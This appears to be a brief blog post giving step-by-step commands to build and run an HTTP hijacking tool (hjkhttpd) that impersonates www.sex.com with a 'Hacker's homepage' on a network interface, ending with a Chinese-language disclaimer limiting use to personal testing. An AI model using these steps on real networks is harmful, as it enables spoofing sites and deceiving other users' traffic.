Tuesday, May 09, 2006

HTTP hijacking

Setup procedure:
-Install hjksuite
tar zxvf hjksuite*
cd hjksuite*
./configure
make
make install

-Configure hjkhttpd
vi /etc/hjkhttpd.conf
The syntax is very simple:
here is an example:
start www.sex.com
# start a new section for www.sex.com
dirname /tmp/sex
# pages are located in /tmp/sex
cgidir cgi-bin
# cgi are located in /tmp/sex/cgi-bin
# CGI ARE NOT CURRENTLY SUPPORTED
404 404.html
# if a page is not found then show /tmp/sex/404.html
end
#end of www.sex.com

-Create Hacker’s homepage
mkdir /tmp/sex
chmod 775 /tmp/sex
cat > /tmp/sex/index.html
Hacker’s homepage
CTRL+D
chmod 775 /tmp/sex/index.html
cat > /tmp/sex/404.html
Web page not found!
CTRL+D
chmod 775 /tmp/sex/404.html

-Execute hjkhttpd
hjkhttpd eth0 /etc/hjkhttpd.conf

僅供個人測試用,請勿以此工具攻擊他人!

No comments: